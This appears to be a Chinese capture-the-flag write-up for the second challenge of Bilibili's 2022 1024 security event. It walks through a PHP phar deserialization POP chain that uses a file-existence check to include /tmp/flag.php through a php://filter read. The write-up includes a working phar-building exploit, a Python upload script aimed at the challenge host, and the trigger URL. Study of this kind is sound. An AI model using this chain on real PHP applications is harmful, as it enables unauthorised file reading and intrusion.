b站1024-2022-WP

  1. 第二题

第二题

打开题目看到提示upupup!

有可能是文件上传,访问一下upload.php,可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
header("content-type:text/html;charset=utf-8");

date_default_timezone_set('PRC');

if($_SERVER['REQUEST_METHOD']==='POST') {

$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}

$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;

} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
} echo 111;
?>

用POST方法是上传文件,而且只能上传文件名后缀为jpg,gif,jpeg,png的文件;用GET方法则是检查文件是否存在。再看一下5d47c5d8a6299792.php文件,也给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
 <?php

// flag in /tmp/flag.php



class Modifier {

public function __invoke(){
include("index.php");
}
}

class Action {
protected $checkAccess;
protected $id;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}

class Content {

public $formatters;

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}

class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {


$this->str->reset();
}

public function __wakeup() {

if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}

public function reset() {
if ($this->reader !== null) {


$this->reader->close();
}
}
}


highlight_file(__FILE__);

结合给出多个类、文件上传、文件存在检验可以猜测攻击路径大概是通过上传phar文件,再由文件存在性检查来触发给出的类的反序列化,从而读取flag。

通过分析以上几个类发现只有Action类的run函数能偶进行文件包含,这应该就是调用的目标函数,pop链最终就是要调用Action类的run函数执行include读取flag。而show函数具有__construct和__toString函数,且__construct函数中存在字符串输出操作,能够触发__toString函数,这应该是反序列化调用链的起点。而Content类存在__call函数,其中还调用了call_user_func_array(),因此这个类可以作为跳板,从Show跳到Action类。Show类的__toString函数中有$this->str->reset();,这个reset函数正是Content类所没有的,因此就会触发call_user_func_array函数调用Action的run函数,这样pop链就分析完成了。接下去就是一些细节的问题了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php

//目标是调用Action类的run函数,执行任意文件读取
class Action {
protected $checkAccess='php://filter/convert.base64-encode/resource=../../../tmp/flag.php';
//读取的目标文件
protected $id=NULL;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
//这里限制了上传webshell,就只能采取文件读取的方式
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {//switch的比较是'==',可以利用语言特性绕过
switch($this->id) {//id=NULL即可
case 0:
if ($this->checkAccess) {echo 'flag!!!!';
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}
class Content {
public $formatters;//设置为键值对,'reset'=>array(new Action,'run')
public function __construct(){
$action=new Action;
$this->formatters=array('reset'=>array($action,'run'));
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);//调用 Action类 的 run函数
}
}

class Show{
public $source;//赋值为Show类实例
public $str;//赋值为Content类实例
public $reader;
public function __construct($file='index.php') {
$this->str=new Content;
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}

}
//生成phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Show();
$o->source=new Show();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传phar文件后需要将其后缀改为jpg后再上传,以下是上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
file1=open('phar.phar','rb')
file2=open('phar.jpg','wb')
file2.write(file1.read())
file1.close()
file2.close()
url='http://42.192.54.239/upload.php'
file={
"file": open('./phar.jpg','rb'),
}
post=requests.post(url=url,files=file)
print(post.content)

上传文件后能够拿到文件路径,再通过一下方式触发反序列化读取文件。

1
http://42.192.54.239/upload.php?c=phar:///var/www/html/upload/20221026191443765.jpg

读取到的base64文件:

1
LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30K

解码后即可得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/

flag2{PhAr_The_bEsT_Lang}



转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 hututu1024@126.com